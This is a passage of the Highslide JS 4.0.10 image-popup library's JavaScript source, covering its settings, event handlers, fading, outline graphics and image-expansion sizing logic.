/******************************************************************************
Name:    Highslide JS
Version: 4.0.10 (November 25 2008)
Config:  default
Author:  Torstein Hønsi
Support: http://highslide.com/support

Licence:
Highslide JS is licensed under a Creative Commons Attribution-NonCommercial 2.5
License (http://creativecommons.org/licenses/by-nc/2.5/).

You are free:
	* to copy, distribute, display, and perform the work
	* to make derivative works

Under the following conditions:
	* Attribution. You must attribute the work in the manner  specified by  the
	  author or licensor.
	* Noncommercial. You may not use this work for commercial purposes.

* For  any  reuse  or  distribution, you  must make clear to others the license
  terms of this work.
* Any  of  these  conditions  can  be  waived  if  you  get permission from the 
  copyright holder.

Your fair use and other rights are in no way affected by the above.
******************************************************************************/

var hs = {
// Language strings
lang : {
	cssDirection: 'ltr',
	loadingText : 'Loading...',
	loadingTitle : 'Click to cancel',
	focusTitle : 'Click to bring to front',
	fullExpandTitle : 'Expand to actual size (f)',
	creditsText : 'Powered by <i>Highslide JS</i>',
	creditsTitle : 'Go to the Highslide JS homepage',
	restoreTitle : 'Click to close image, click and drag to move. Use arrow keys for next and previous.'
},
// See http://highslide.com/ref for examples of settings  
graphicsDir : 'highslide/graphics/',
expandCursor : 'zoomin.cur', // null disables
restoreCursor : 'zoomout.cur', // null disables
expandDuration : 250, // milliseconds
restoreDuration : 250,
marginLeft : 15,
marginRight : 15,
marginTop : 15,
marginBottom : 15,
zIndexCounter : 1001, // adjust to other absolutely positioned elements
loadingOpacity : 0.75,
allowMultipleInstances: true,
numberOfImagesToPreload : 5,
outlineWhileAnimating : 2, // 0 = never, 1 = always, 2 = HTML only 
outlineStartOffset : 3, // ends at 10
fullExpandPosition : 'bottom right',
fullExpandOpacity : 1,
padToMinWidth : false, // pad the popup width to make room for wide caption
showCredits : true, // you can set this to false if you want
creditsHref : 'http://highslide.com',
enableKeyListener : true,

dragByHeading: true,
minWidth: 200,
minHeight: 200,
allowSizeReduction: true, // allow the image to reduce to fit client size. If false, this overrides minWidth and minHeight
outlineType : 'drop-shadow', // set null to disable outlines
wrapperClassName : 'highslide-wrapper', // for enhanced css-control
// END OF YOUR SETTINGS


// declare internal properties
preloadTheseImages : [],
continuePreloading: true,
expanders : [],
overrides : [
	'allowSizeReduction',
	'outlineType',
	'outlineWhileAnimating',
	'captionId',
	'captionText',
	'captionEval',
	'captionOverlay',
	'headingId',
	'headingText',
	'headingEval',
	'headingOverlay',
	'dragByHeading',
	
	'wrapperClassName',
	'minWidth',
	'minHeight',
	'maxWidth',
	'maxHeight',
	'slideshowGroup',
	'easing',
	'easingClose',
	'fadeInOut',
	'src'
],
overlays : [],
idCounter : 0,
oPos : {
	x: ['leftpanel', 'left', 'center', 'right', 'rightpanel'],
	y: ['above', 'top', 'middle', 'bottom', 'below']
},
mouse: {},
headingOverlay: {},
captionOverlay: {},
faders : [],

pendingOutlines : {},
clones : {},
ie : (document.all && !window.opera),
safari : /Safari/.test(navigator.userAgent),
geckoMac : /Macintosh.+rv:1\.[0-8].+Gecko/.test(navigator.userAgent),

$ : function (id) {
	return document.getElementById(id);
},

push : function (arr, val) {
	arr[arr.length] = val;
},

createElement : function (tag, attribs, styles, parent, nopad) {
	var el = document.createElement(tag);
	if (attribs) hs.setAttribs(el, attribs);
	if (nopad) hs.setStyles(el, {padding: 0, border: 'none', margin: 0});
	if (styles) hs.setStyles(el, styles);
	if (parent) parent.appendChild(el);	
	return el;
},

setAttribs : function (el, attribs) {
	for (var x in attribs) el[x] = attribs[x];
},

setStyles : function (el, styles) {
	for (var x in styles) {
		if (hs.ie && x == 'opacity') {
			if (styles[x] > 0.99) el.style.removeAttribute('filter');
			else el.style.filter = 'alpha(opacity='+ (styles[x] * 100) +')';
		}
		else el.style[x] = styles[x];
	}
},

ieVersion : function () {
	var arr = navigator.appVersion.split("MSIE");
	return arr[1] ? parseFloat(arr[1]) : null;
},

getPageSize : function () {
	var d = document, w = window, iebody = d.compatMode && d.compatMode != 'BackCompat' 
		? d.documentElement : d.body;
	
	var width = hs.ie ? iebody.clientWidth : 
			(d.documentElement.clientWidth || self.innerWidth),
		height = hs.ie ? iebody.clientHeight : self.innerHeight;
	
	return {
		width: width,
		height: height,		
		scrollLeft: hs.ie ? iebody.scrollLeft : pageXOffset,
		scrollTop: hs.ie ? iebody.scrollTop : pageYOffset
	}
},

getPosition : function(el)	{
	var p = { x: el.offsetLeft, y: el.offsetTop };
	while (el.offsetParent)	{
		el = el.offsetParent;
		p.x += el.offsetLeft;
		p.y += el.offsetTop;
		if (el != document.body && el != document.documentElement) {
			p.x -= el.scrollLeft;
			p.y -= el.scrollTop;
		}
	}
	return p;
},
expand : function(a, params, custom, type) {
	if (!a) a = hs.createElement('a', null, { display: 'none' }, hs.container);
	if (typeof a.getParams == 'function') return params;	
	try {	
		new hs.Expander(a, params, custom);
		return false;
	} catch (e) { return true; }
},


focusTopmost : function() {
	var topZ = 0, topmostKey = -1;
	for (var i = 0; i < hs.expanders.length; i++) {
		if (hs.expanders[i]) {
			if (hs.expanders[i].wrapper.style.zIndex && hs.expanders[i].wrapper.style.zIndex > topZ) {
				topZ = hs.expanders[i].wrapper.style.zIndex;
				
				topmostKey = i;
			}
		}
	}
	if (topmostKey == -1) hs.focusKey = -1;
	else hs.expanders[topmostKey].focus();
},

getParam : function (a, param) {
	a.getParams = a.onclick;
	var p = a.getParams ? a.getParams() : null;
	a.getParams = null;
	
	return (p && typeof p[param] != 'undefined') ? p[param] : 
		(typeof hs[param] != 'undefined' ? hs[param] : null);
},

getSrc : function (a) {
	var src = hs.getParam(a, 'src');
	if (src) return src;
	return a.href;
},

getNode : function (id) {
	var node = hs.$(id), clone = hs.clones[id], a = {};
	if (!node && !clone) return null;
	if (!clone) {
		clone = node.cloneNode(true);
		clone.id = '';
		hs.clones[id] = clone;
		return node;
	} else {
		return clone.cloneNode(true);
	}
},

discardElement : function(d) {
	hs.garbageBin.appendChild(d);
	hs.garbageBin.innerHTML = '';
},

previousOrNext : function (el, op) {
	hs.updateAnchors();
	var exp = hs.last = hs.getExpander(el);
	try {
		var adj = hs.upcoming =  exp.getAdjacentAnchor(op);
		adj.onclick(); 		
	} catch (e){
		hs.last = hs.upcoming = null;
	}
	try { exp.close(); } catch (e) {}
	return false;
},

previous : function (el) {
	return hs.previousOrNext(el, -1);
},

next : function (el) {
	return hs.previousOrNext(el, 1);	
},

keyHandler : function(e) {
	if (!e) e = window.event;
	if (!e.target) e.target = e.srcElement; // ie
	if (typeof e.target.form != 'undefined') return true; // form element has focus
	var exp = hs.getExpander();
	
	var op = null;
	switch (e.keyCode) {
		case 70: // f
			if (exp) exp.doFullExpand();
			return true;
		case 32: // Space
		case 34: // Page Down
		case 39: // Arrow right
		case 40: // Arrow down
			op = 1;
			break;
		case 8:  // Backspace
		case 33: // Page Up
		case 37: // Arrow left
		case 38: // Arrow up
			op = -1;
			break;
		case 27: // Escape
		case 13: // Enter
			op = 0;
	}
	if (op !== null) {hs.removeEventListener(document, window.opera ? 'keypress' : 'keydown', hs.keyHandler);
		if (!hs.enableKeyListener) return true;
		
		if (e.preventDefault) e.preventDefault();
    	else e.returnValue = false;
    	
    	if (exp) {
			if (op == 0) {
				exp.close();
			} else {
				hs.previousOrNext(exp.key, op);
			}
			return false;
		}
	}
	return true;
},


registerOverlay : function (overlay) {
	hs.push(hs.overlays, overlay);
},


getWrapperKey : function (element, expOnly) {
	var el, re = /^highslide-wrapper-([0-9]+)$/;
	// 1. look in open expanders
	el = element;
	while (el.parentNode)	{
		if (el.id && re.test(el.id)) return el.id.replace(re, "$1");
		el = el.parentNode;
	}
	// 2. look in thumbnail
	if (!expOnly) {
		el = element;
		while (el.parentNode)	{
			if (el.tagName && hs.isHsAnchor(el)) {
				for (var key = 0; key < hs.expanders.length; key++) {
					var exp = hs.expanders[key];
					if (exp && exp.a == el) return key;
				}
			}
			el = el.parentNode;
		}
	}
	return null; 
},

getExpander : function (el, expOnly) {
	if (typeof el == 'undefined') return hs.expanders[hs.focusKey] || null;
	if (typeof el == 'number') return hs.expanders[el] || null;
	if (typeof el == 'string') el = hs.$(el);
	return hs.expanders[hs.getWrapperKey(el, expOnly)] || null;
},

isHsAnchor : function (a) {
	return (a.onclick && a.onclick.toString().replace(/\s/g, ' ').match(/hs.(htmlE|e)xpand/));
},

reOrder : function () {
	for (var i = 0; i < hs.expanders.length; i++)
		if (hs.expanders[i] && hs.expanders[i].isExpanded) hs.focusTopmost();
},

mouseClickHandler : function(e) 
{	
	if (!e) e = window.event;
	if (e.button > 1) return true;
	if (!e.target) e.target = e.srcElement;
	
	var el = e.target;
	while (el.parentNode
		&& !(/highslide-(image|move|html|resize)/.test(el.className)))
	{
		el = el.parentNode;
	}
	var exp = hs.getExpander(el);
	if (exp && (exp.isClosing || !exp.isExpanded)) return true;
		
	if (exp && e.type == 'mousedown') {
		if (e.target.form) return true;
		var match = el.className.match(/highslide-(image|move|resize)/);
		if (match) {
			hs.dragArgs = { exp: exp , type: match[1], left: exp.x.pos, width: exp.x.size, top: exp.y.pos, 
				height: exp.y.size, clickX: e.clientX, clickY: e.clientY };
			
			
			hs.addEventListener(document, 'mousemove', hs.dragHandler);
			if (e.preventDefault) e.preventDefault(); // FF
			
			if (/highslide-(image|html)-blur/.test(exp.content.className)) {
				exp.focus();
				hs.hasFocused = true;
			}
			return false;
		}
	} else if (e.type == 'mouseup') {
		
		hs.removeEventListener(document, 'mousemove', hs.dragHandler);
		
		if (hs.dragArgs) {
			if (hs.dragArgs.type == 'image')
				hs.dragArgs.exp.content.style.cursor = hs.styleRestoreCursor;
			var hasDragged = hs.dragArgs.hasDragged;
			
			if (!hasDragged &&!hs.hasFocused && !/(move|resize)/.test(hs.dragArgs.type)) {
				exp.close();
			} 
			else if (hasDragged || (!hasDragged && hs.hasHtmlExpanders)) {
				hs.dragArgs.exp.doShowHide('hidden');
			}
			
			hs.hasFocused = false;
			hs.dragArgs = null;
		
		} else if (/highslide-image-blur/.test(el.className)) {
			el.style.cursor = hs.styleRestoreCursor;		
		}
	}
	return false;
},

dragHandler : function(e)
{
	if (!hs.dragArgs) return true;
	if (!e) e = window.event;
	var a = hs.dragArgs, exp = a.exp;
	
	a.dX = e.clientX - a.clickX;
	a.dY = e.clientY - a.clickY;	
	
	var distance = Math.sqrt(Math.pow(a.dX, 2) + Math.pow(a.dY, 2));
	if (!a.hasDragged) a.hasDragged = (a.type != 'image' && distance > 0)
		|| (distance > (hs.dragSensitivity || 5));
	
	if (a.hasDragged && e.clientX > 5 && e.clientY > 5) {
		
		if (a.type == 'resize') exp.resize(a);
		else {
			exp.moveTo(a.left + a.dX, a.top + a.dY);
			if (a.type == 'image') exp.content.style.cursor = 'move';
		}
	}
	return false;
},

wrapperMouseHandler : function (e) {
	try {
		if (!e) e = window.event;
		var over = /mouseover/i.test(e.type); 
		if (!e.target) e.target = e.srcElement; // ie
		if (hs.ie) e.relatedTarget = 
			over ? e.fromElement : e.toElement; // ie
		var exp = hs.getExpander(e.target);
		if (!exp.isExpanded) return;
		if (!exp || !e.relatedTarget || hs.getExpander(e.relatedTarget, true) == exp 
			|| hs.dragArgs) return;
		for (var i = 0; i < exp.overlays.length; i++) {
			var o = hs.$('hsId'+ exp.overlays[i]);
			if (o && o.hideOnMouseOut) {
				var from = over ? 0 : o.opacity,
					to = over ? o.opacity : 0;			
				hs.fade(o, from, to);
			}
		}	
	} catch (e) {}
},

addEventListener : function (el, event, func) {
	try {
		el.addEventListener(event, func, false);
	} catch (e) {
		try {
			el.detachEvent('on'+ event, func);
			el.attachEvent('on'+ event, func);
		} catch (e) {
			el['on'+ event] = func;
		}
	} 
},

removeEventListener : function (el, event, func) {
	try {
		el.removeEventListener(event, func, false);
	} catch (e) {
		try {
			el.detachEvent('on'+ event, func);
		} catch (e) {
			el['on'+ event] = null;
		}
	}
},

preloadFullImage : function (i) {
	if (hs.continuePreloading && hs.preloadTheseImages[i] && hs.preloadTheseImages[i] != 'undefined') {
		var img = document.createElement('img');
		img.onload = function() { 
			img = null;
			hs.preloadFullImage(i + 1);
		};
		img.src = hs.preloadTheseImages[i];
	}
},
preloadImages : function (number) {
	if (number && typeof number != 'object') hs.numberOfImagesToPreload = number;
	
	var arr = hs.getAnchors();
	for (var i = 0; i < arr.images.length && i < hs.numberOfImagesToPreload; i++) {
		hs.push(hs.preloadTheseImages, hs.getSrc(arr.images[i]));
	}
	
	// preload outlines
	if (hs.outlineType)	new hs.Outline(hs.outlineType, function () { hs.preloadFullImage(0)} );
	else
	
	hs.preloadFullImage(0);
	
	// preload cursor
	var cur = hs.createElement('img', { src: hs.graphicsDir + hs.restoreCursor });
},


init : function () {
	if (!hs.container) {
		hs.container = hs.createElement('div', {
				className: 'highslide-container'
			}, {
				position: 'absolute', 
				left: 0, 
				top: 0, 
				width: '100%', 
				zIndex: hs.zIndexCounter,
				direction: 'ltr'
			}, 
			document.body,
			true
		);
		hs.loading = hs.createElement('a', {
				className: 'highslide-loading',
				title: hs.lang.loadingTitle,
				innerHTML: hs.lang.loadingText,
				href: 'javascript:;'
			}, {
				position: 'absolute',
				top: '-9999px',
				opacity: hs.loadingOpacity,
				zIndex: 1
			}, hs.container
		);
		hs.garbageBin = hs.createElement('div', null, { display: 'none' }, hs.container);
		
		// http://www.robertpenner.com/easing/ 
		Math.linearTween = function (t, b, c, d) {
			return c*t/d + b;
		};
		Math.easeInQuad = function (t, b, c, d) {
			return c*(t/=d)*t + b;
		};
		for (var x in hs.langDefaults) {
			if (typeof hs[x] != 'undefined') hs.lang[x] = hs[x];
			else if (typeof hs.lang[x] == 'undefined' && typeof hs.langDefaults[x] != 'undefined') 
				hs.lang[x] = hs.langDefaults[x];
		}
		
		hs.hideSelects = (hs.ie && hs.ieVersion() < 7);
		hs.hideIframes = ((window.opera && navigator.appVersion < 9) || navigator.vendor == 'KDE' 
			|| (hs.ie && hs.ieVersion() < 5.5));
	}
},
domReady : function() {
	hs.isDomReady = true;
	if (hs.onDomReady) hs.onDomReady();
},

updateAnchors : function() {
	var els = document.all || document.getElementsByTagName('*'), all = [], images = [],groups = {}, re;
	
	for (var i = 0; i < els.length; i++) {
		re = hs.isHsAnchor(els[i]);
		if (re) {
			hs.push(all, els[i]);
			if (re[0] == 'hs.expand') hs.push(images, els[i]);
			var g = hs.getParam(els[i], 'slideshowGroup') || 'none';
			if (!groups[g]) groups[g] = [];
			hs.push(groups[g], els[i]);
		}
	}
	hs.anchors = { all: all, groups: groups, images: images };
	
	return hs.anchors;
},

getAnchors : function() {
	return hs.anchors || hs.updateAnchors();
},


fade : function (el, o, oFinal, dur, fn, i, dir) {
	if (typeof i == 'undefined') { // new fader
		if (typeof dur != 'number') dur = 250;
		if (dur < 25) { // instant
			hs.setStyles( el, { opacity: oFinal	});
			if (fn) fn();
			return;
		}
		i = hs.faders.length;
		dir = oFinal > o ? 1 : -1;
		var step = (25 / (dur - dur % 25)) * Math.abs(o - oFinal);
	}
	o = parseFloat(o);
	var skip = (el.fade === 0 || el.fade === false || (el.fade == 2 && hs.ie));
	el.style.visibility = ((skip ? oFinal : o) <= 0) ? 'hidden' : 'visible';
	if (skip || o < 0 || (dir == 1 && o > oFinal)) { 
		if (fn) fn();
		return;
	}
	if (el.fading && el.fading.i != i) {
		clearTimeout(hs.faders[el.fading.i]);
		o = el.fading.o;
	}
	el.fading = {i: i, o: o, step: (step || el.fading.step)};
	el.style.visibility = (o <= 0) ? 'hidden' : 'visible';
	hs.setStyles(el, { opacity: o });
	hs.faders[i] = setTimeout(function() {
		hs.fade(el, o + el.fading.step * dir, oFinal, null, fn, i, dir);
	}, 25);
},

close : function(el) {
	var exp = hs.getExpander(el);
	if (exp) exp.close();
	return false;
}
}; // end hs object


hs.Outline =  function (outlineType, onLoad) {
	this.onLoad = onLoad;
	this.outlineType = outlineType;
	var v = hs.ieVersion(), tr;
	
	this.hasAlphaImageLoader = hs.ie && v >= 5.5 && v < 7;
	if (!outlineType) {
		if (onLoad) onLoad();
		return;
	}
	
	hs.init();
	this.table = hs.createElement(
		'table', { 
			cellSpacing: 0 
		}, {
			visibility: 'hidden',
			position: 'absolute',
			borderCollapse: 'collapse',
			width: 0
		},
		hs.container,
		true
	);
	var tbody = hs.createElement('tbody', null, null, this.table, 1);
	
	this.td = [];
	for (var i = 0; i <= 8; i++) {
		if (i % 3 == 0) tr = hs.createElement('tr', null, { height: 'auto' }, tbody, true);
		this.td[i] = hs.createElement('td', null, null, tr, true);
		var style = i != 4 ? { lineHeight: 0, fontSize: 0} : { position : 'relative' };
		hs.setStyles(this.td[i], style);
	}
	this.td[4].className = outlineType +' highslide-outline';
	
	this.preloadGraphic(); 
};

hs.Outline.prototype = {
preloadGraphic : function () {
	var src = hs.graphicsDir + (hs.outlinesDir || "outlines/")+ this.outlineType +".png";
				
	var appendTo = hs.safari ? hs.container : null;
	this.graphic = hs.createElement('img', null, { position: 'absolute', 
		top: '-9999px' }, appendTo, true); // for onload trigger
	
	var pThis = this;
	this.graphic.onload = function() { pThis.onGraphicLoad(); };
	
	this.graphic.src = src;
},

onGraphicLoad : function () {
	var o = this.offset = this.graphic.width / 4,
		pos = [[0,0],[0,-4],[-2,0],[0,-8],0,[-2,-8],[0,-2],[0,-6],[-2,-2]],
		dim = { height: (2*o) +'px', width: (2*o) +'px' };
	for (var i = 0; i <= 8; i++) {
		if (pos[i]) {
			if (this.hasAlphaImageLoader) {
				var w = (i == 1 || i == 7) ? '100%' : this.graphic.width +'px';
				var div = hs.createElement('div', null, { width: '100%', height: '100%', position: 'relative', overflow: 'hidden'}, this.td[i], true);
				hs.createElement ('div', null, { 
						filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale, src='"+ this.graphic.src + "')", 
						position: 'absolute',
						width: w, 
						height: this.graphic.height +'px',
						left: (pos[i][0]*o)+'px',
						top: (pos[i][1]*o)+'px'
					}, 
				div,
				true);
			} else {
				hs.setStyles(this.td[i], { background: 'url('+ this.graphic.src +') '+ (pos[i][0]*o)+'px '+(pos[i][1]*o)+'px'});
			}
			
			if (window.opera && (i == 3 || i ==5)) 
				hs.createElement('div', null, dim, this.td[i], true);
			
			hs.setStyles (this.td[i], dim);
		}
	}
	this.graphic = null;
	if (hs.pendingOutlines[this.outlineType]) hs.pendingOutlines[this.outlineType].destroy();
	hs.pendingOutlines[this.outlineType] = this;
	if (this.onLoad) this.onLoad();
},
	
setPosition : function (exp, pos, vis) {
	pos = pos || {
		x: exp.x.pos,
		y: exp.y.pos,
		w: exp.x.size + exp.x.p1 + exp.x.p2,
		h: exp.y.size + exp.y.p1 + exp.y.p2
	};
	if (vis) this.table.style.visibility = (pos.h >= 4 * this.offset) 
		? 'visible' : 'hidden';
	hs.setStyles(this.table, {
		left: (pos.x - this.offset) +'px',
		top: (pos.y - this.offset) +'px',
		width: (pos.w + 2 * (exp.x.cb + this.offset)) +'px'
	});
	
	pos.w += 2 * (exp.x.cb - this.offset);
	pos.h += + 2 * (exp.y.cb - this.offset);
	hs.setStyles (this.td[4], {
		width: pos.w >= 0 ? pos.w +'px' : 0,
		height: pos.h >= 0 ? pos.h +'px' : 0
	});
	if (this.hasAlphaImageLoader) this.td[3].style.height 
		= this.td[5].style.height = this.td[4].style.height;
},
	
destroy : function(hide) {
	if (hide) this.table.style.visibility = 'hidden';
	else hs.discardElement(this.table);
}
};

hs.Dimension = function(exp, dim) {
	this.exp = exp;
	this.dim = dim;
	this.ucwh = dim == 'x' ? 'Width' : 'Height';
	this.wh = this.ucwh.toLowerCase();
	this.uclt = dim == 'x' ? 'Left' : 'Top';
	this.lt = this.uclt.toLowerCase();
	this.ucrb = dim == 'x' ? 'Right' : 'Bottom';
	this.rb = this.ucrb.toLowerCase();
};
hs.Dimension.prototype = {
get : function(key) {
	switch (key) {
		case 'loadingPos':
			return this.tpos + this.tb + (this.t - hs.loading['offset'+ this.ucwh]) / 2;
		case 'wsize':
			return this.size + 2 * this.cb + this.p1 + this.p2;
		case 'fitsize':
			return this.clientSize - this.marginMin - this.marginMax;
		case 'opos':
			return this.pos - (this.exp.outline ? this.exp.outline.offset : 0);
		case 'osize':
			return this.get('wsize') + (this.exp.outline ? 2*this.exp.outline.offset : 0);
		case 'imgPad':
			return this.imgSize ? Math.round((this.size - this.imgSize) / 2) : 0;
		
	}
},
calcBorders: function() {
	// correct for borders
	this.cb = (this.exp.content['offset'+ this.ucwh] - this.t) / 2;
	this.marginMax = hs['margin'+ this.ucrb] + 2 * this.cb;
},
calcThumb: function() {
	this.t = this.exp.el[this.wh] ? parseInt(this.exp.el[this.wh]) : 
		this.exp.el['offset'+ this.ucwh];
	this.tpos = this.exp.tpos[this.dim];
	this.tb = (this.exp.el['offset'+ this.ucwh] - this.t) / 2;
	this.p1 = this.p2 = 0;
	if (this.tpos == 0) {
		this.tpos = (hs.page[this.wh] / 2) + hs.page['scroll'+ this.uclt];		
	};
},
calcExpanded: function() {
	this.justify = 'auto';
	
	
	// size and position
	this.pos = this.tpos - this.cb + this.tb;
	this.size = Math.min(this.full, this.exp['max'+ this.ucwh] || this.full);
	this.minSize = this.exp.allowSizeReduction ? 
		Math.min(this.exp['min'+ this.ucwh], this.full) : this.full;
	if (hs.padToMinWidth && this.dim == 'x') this.minSize = this.exp.minWidth;
	this.marginMin = hs['margin'+ this.uclt];
	this.scroll = hs.page['scroll'+ this.uclt];
	this.clientSize = hs.page[this.wh];
},
setSize: function(i) {
	this.size = i;
	this.exp.content.style[this.wh] = i +'px';
	this.exp.wrapper.style[this.wh] = this.get('wsize') +'px';
	if (this.exp.outline) this.exp.outline.setPosition(this.exp);
	if (this.dim == 'x' && this.exp.overlayBox) this.exp.sizeOverlayBox(true);
},
setPos: function(i) {
	this.pos = i;
	this.exp.wrapper.style[this.lt] = i +'px';	
	
	if (this.exp.outline) this.exp.outline.setPosition(this.exp);
	
}
};

hs.Expander = function(a, params, custom, contentType) {
	if (document.readyState && hs.ie && !hs.isDomReady) {
		hs.onDomReady = function() {
			new hs.Expander(a, params, custom, contentType);
		};
		return;
	} 
	this.a = a;
	this.custom = custom;
	this.contentType = contentType || 'image';
	this.isImage = !this.isHtml;
	
	hs.continuePreloading = false;
	this.overlays = [];
	hs.init();
	var key = this.key = hs.expanders.length;
	// override inline parameters
	for (var i = 0; i < hs.overrides.length; i++) {
		var name = hs.overrides[i];
		this[name] = params && typeof params[name] != 'undefined' ?
			params[name] : hs[name];
	}
	if (!this.src) this.src = a.href;
	// get thumb
	var el = (params && params.thumbnailId) ? hs.$(params.thumbnailId) : a;
	el = this.thumb = el.getElementsByTagName('img')[0] || el;
	this.thumbsUserSetId = el.id || a.id;
	
	// check if already open
	for (var i = 0; i < hs.expanders.length; i++) {
		if (hs.expanders[i] && hs.expanders[i].a == a) {
			hs.expanders[i].focus();
			return false;
		}
	}	
	// cancel other
	for (var i = 0; i < hs.expanders.length; i++) {
		if (hs.expanders[i] && hs.expanders[i].thumb != el && !hs.expanders[i].onLoadStarted) {
			hs.expanders[i].cancelLoading();
		}
	}
	hs.expanders[this.key] = this;
	if (!hs.allowMultipleInstances) {
		if (hs.expanders[key-1]) hs.expanders[key-1].close();
		if (typeof hs.focusKey != 'undefined' && hs.expanders[hs.focusKey])
			hs.expanders[hs.focusKey].close();
	}
	
	
	// initiate metrics
	this.el = el;
	this.tpos = hs.getPosition(el);
	hs.page = hs.getPageSize();
	var x = this.x = new hs.Dimension(this, 'x');
	x.calcThumb();
	var y = this.y = new hs.Dimension(this, 'y');
	y.calcThumb();
	
	// instanciate the wrapper
	this.wrapper = hs.createElement(
		'div', {
			id: 'highslide-wrapper-'+ this.key,
			className: this.wrapperClassName
		}, {
			visibility: 'hidden',
			position: 'absolute',
			zIndex: hs.zIndexCounter++
		}, null, true );
	
	this.wrapper.onmouseover = this.wrapper.onmouseout = hs.wrapperMouseHandler;
	if (this.contentType == 'image' && this.outlineWhileAnimating == 2)
		this.outlineWhileAnimating = 0;
	
	// get the outline
	if (!this.outlineType) {
		this[this.contentType +'Create']();
	
	} else if (hs.pendingOutlines[this.outlineType]) {
		this.connectOutline();
		this[this.contentType +'Create']();
	
	} else {
		this.showLoading();
		var exp = this;
		new hs.Outline(this.outlineType, 
			function () {
				exp.connectOutline();
				exp[exp.contentType +'Create']();
			} 
		);
	}
	return true;
};

hs.Expander.prototype = {

connectOutline : function() {
	var o = this.outline = hs.pendingOutlines[this.outlineType];
	o.table.style.zIndex = this.wrapper.style.zIndex;
	hs.pendingOutlines[this.outlineType] = null;
},

showLoading : function() {
	if (this.onLoadStarted || this.loading) return;
	
	this.loading = hs.loading;
	var exp = this;
	this.loading.onclick = function() {
		exp.cancelLoading();
	};
	var exp = this, 
		l = this.x.get('loadingPos') +'px',
		t = this.y.get('loadingPos') +'px';
	setTimeout(function () { 
		if (exp.loading) hs.setStyles(exp.loading, { left: l, top: t, zIndex: hs.zIndexCounter++ })}
	, 100);
},

imageCreate : function() {
	var exp = this;
	
	var img = document.createElement('img');
    this.content = img;
    img.onload = function () {
    	if (hs.expanders[exp.key]) exp.contentLoaded(); 
	};
    if (hs.blockRightClick) img.oncontextmenu = function() { return false; };
    img.className = 'highslide-image';
    hs.setStyles(img, {
    	visibility: 'hidden',
    	display: 'block',
    	position: 'absolute',
		maxWidth: '9999px',
		zIndex: 3
	});
    img.title = hs.lang.restoreTitle;
    if (hs.safari) hs.container.appendChild(img);
    if (hs.ie && hs.flushImgSize) img.src = null;
	img.src = this.src;
	
	this.showLoading();
},

contentLoaded : function() {
	try {	
		if (!this.content) return;
		this.content.onload = null;
		if (this.onLoadStarted) return;
		else this.onLoadStarted = true;
		
		var x = this.x, y = this.y;
		
		if (this.loading) {
			hs.setStyles(this.loading, { top: '-9999px' });
			this.loading = null;
		}
		//this.marginBottom = hs.marginBottom;	
			x.full = this.content.width;
			y.full = this.content.height;
			
			hs.setStyles(this.content, {
				width: this.x.t +'px',
				height: this.y.t +'px'
			});
		
		this.wrapper.appendChild(this.content);
		hs.setStyles (this.wrapper, {
			left: this.x.tpos +'px',
			top: this.y.tpos +'px'
		});
		hs.container.appendChild(this.wrapper);
		
		x.calcBorders();
		y.calcBorders();
		this.getOverlays();
		
		var ratio = x.full / y.full;
		
		x.calcExpanded();
		this.justify(x);
		
		y.calcExpanded();
		this.justify(y);
		if (this.overlayBox) this.sizeOverlayBox(0, 1);
		
		if (this.allowSizeReduction) {
				this.correctRatio(ratio);		
			
			if (this.isImage && this.x.full > this.x.size) {
				this.createFullExpand();
				if (this.overlays.length == 1) this.sizeOverlayBox();	
			}
		}
		this.show();
		
	} catch (e) {
		window.location.href = this.src;
	}
},

justify : function (p, moveOnly) {
	var tgtArr, tgt = p.target, dim = p == this.x ? 'x' : 'y';
	
		var hasMovedMin = false;
		
		var allowReduce = hs.allowSizeReduction;
			p.pos = Math.round(p.pos - ((p.get('wsize') - p.t) / 2));
		if (p.pos < p.scroll + p.marginMin) {
			p.pos = p.scroll + p.marginMin;
			hasMovedMin = true;		
		}
		if (!moveOnly && p.size < p.minSize) {
			p.size = p.minSize;
			allowReduce = false;
		}
		if (p.pos + p.get('wsize') > p.scroll + p.clientSize - p.marginMax) {
			if (!moveOnly && hasMovedMin && allowReduce) {
				p.size = p.get('fitsize'); // can't expand more
			} else if (p.get('wsize') < p.get('fitsize')) {
				p.pos = p.scroll + p.clientSize - p.marginMax - p.get('wsize');
			} else { // image larger than viewport
				p.pos = p.scroll + p.marginMin;
				if (!moveOnly && allowReduce) p.size = p.get('fitsize');
			}			
		}
		
		if (!moveOnly && p.size < p.minSize) {
			p.size = p.minSize;
			allowReduce = false;
		}
		
	
		
	if (p.pos < p.marginMin) {
		var tmpMin = p.pos;
		p.pos = p.marginMin; 
		
		if (allowReduce && !moveOnly) p.size = p.size - (p.pos - tmpMin);
		
	}
},

correctRatio : function(ratio) {
	var x = this.x, y = this.y;
	var changed = false;
	if (x.size / y.size > ratio) { // width greater
		x.size = y.size * ratio;
		if (x.size < x.minSize) { // below minWidth
			if (hs.padToMinWidth) x.imgSize = x.size;			
			x.size = x.minSize;
			if (!x.imgSize)
			y.size = x.size / ratio;
		}
		changed = true;
	
	} else if (x.size / y.size < ratio) { // height greater
		var tmpHeight = y.size;
		y.size = x.size / ratio;
		changed = true;
	}
	this.fitOverlayBox(ratio);
	
	if (changed) {
		x.pos = x.tpos - x.cb + x.tb;
		x.minSize = x.size;
		this.justify(x, true);
	
		y.pos = y.tpos - y.cb + y.tb;
		y.minSize = y.size;
		this.justify(y, true);
		if (this.overlayBox) this.sizeOverlayBox();
	}
},
fitOverlayBox : function(ratio) {
	var x = this.x, y = this.y;
	if (this.overlayBox) {
		while (y.size > this.minHeight && x.size > this.minWidth 
				&&  y.get('wsize')  > y.get('fitsize')) {
			y.size -= 10;
			if (ratio) x.size = y.size * ratio;
			this.sizeOverlayBox(0, 1);
		}
	}
},

show : function () {
	this.doShowHide('hidden');
	// Apply size change
	this.changeSize(
		1,
		{ 
			xpos: this.x.tpos + this.x.tb - this.x.cb,
			ypos: this.y.tpos + this.y.tb - this.y.cb,
			xsize: this.x.t,
			ysize: this.y.t,
			xp1: 0,
			xp2: 0,
			yp1: 0,
			yp2: 0,
			ximgSize: this.x.t,
			ximgPad: 0,
			o: hs.outlineStartOffset
		},
		{
			xpos: this.x.pos,
			ypos: this.y.pos,
			xsize: this.x.size,
			ysize: this.y.size,
			xp1: this.x.p1,
			yp1: this.y.p1,
			xp2: this.x.p2,
			yp2: this.y.p2,
			ximgSize: this.x.imgSize,
			ximgPad: this.x.get('imgPad'),
			o: this.outline ? this.outline.offset : 0
		},
		hs.expandDuration
	);
},

changeSize : function(up, from, to, dur) {
	
	if (this.outline && !this.outlineWhileAnimating) {
		if (up) this.outline.setPosition(this);
